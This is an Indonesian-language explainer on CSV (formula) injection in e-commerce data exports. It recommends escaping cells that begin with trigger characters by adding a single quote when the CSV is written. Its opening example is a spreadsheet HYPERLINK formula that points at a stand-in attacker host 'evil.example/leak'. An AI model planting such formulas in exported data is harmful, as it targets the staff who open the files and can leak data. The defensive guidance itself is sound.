CSV Injection: Tombol Ekspor yang Menjalankan Kode
Seorang pelanggan memasukkan nama mereka. Mereka mengetik =HYPERLINK("http://evil.example/leak", "click"). Sistem Anda menerimanya. Terlihat seperti teks biasa.
Beberapa minggu kemudian, tim keuangan Anda mengekspor daftar pelanggan ke CSV. Mereka membuka file tersebut di Excel. Sel tersebut bukan lagi teks. Itu adalah sebuah formula.
Inilah yang disebut injeksi CSV. Orang-orang juga menyebutnya injeksi formula. Ini adalah bug umum pada panel e-commerce. Kebanyakan tim tidak melakukan pengujian terhadap hal ini.
Aplikasi spreadsheet tidak memperlakukan setiap sel sebagai teks. Jika sebuah sel dimulai dengan =, +, -, atau @, Excel atau Google Sheets akan membacanya sebagai formula.
Sebuah formula dapat melakukan lebih dari sekadar matematika. Ia dapat membangun URL. Ia dapat menghubungi jaringan. Dalam beberapa kasus, ia dapat menjalankan perintah pada komputer.
Data tersebut tetap berupa teks di database Anda. Data tersebut menjadi dapat dieksekusi saat manusia membuka file tersebut. Biasanya, korbannya adalah anggota staf dengan tingkat akses tinggi.
Anda berisiko di mana pun Anda mengekspor data pengguna:
- Ekspor nama dan alamat pelanggan
- Grid pesanan yang diekspor ke CSV
- Feed produk dari vendor
- Dump formulir kontak
Penyerang tidak memerlukan akses admin. Mereka mengatur nama mereka sendiri sebagai formula dan menunggu.
Jangan mencoba memperbaiki ini saat validasi input. Nilai tersebut adalah teks yang sah sampai spreadsheet membacanya. Sebaliknya, lakukan sanitasi pada data saat Anda menulis file CSV.
Jika sebuah sel dimulai dengan =, +, -, @, tab, atau carriage return, tambahkan tanda kutip tunggal (') di depannya.
Contoh logika: Jika nilai dimulai dengan karakter pemicu, kembalikan "'" + value.
Tanda kutip tunggal tersebut memberi tahu spreadsheet untuk memperlakukan sel sebagai teks. Spreadsheet akan menyembunyikan tanda kutip tersebut dari pengguna. Jalankan setiap kolom melalui pemeriksaan ini sebelum masuk ke dalam file.
Jangan melakukan escape pada data di database Anda. Nilai tersebut baik-baik saja di database dan baik-baik saja di HTML Anda. Ia hanya berbahaya di dalam CSV. Lindungi batas (boundary) CSV untuk menjaga data Anda tetap bersih di tempat lain.
Berhentilah mempercayai ekspor internal Anda. Penyerang menargetkan staf Anda melalui file-file ini.
Injeksi CSV tidak memicu peringatan pemindai (scanner) yang menakutkan. Ia bersembunyi di tombol ekspor yang Anda buat bertahun-tahun lalu. Periksa kode ekspor CSV Anda sekarang. Jika Anda tidak melindungi karakter pertama dari setiap sel, Anda berisiko.
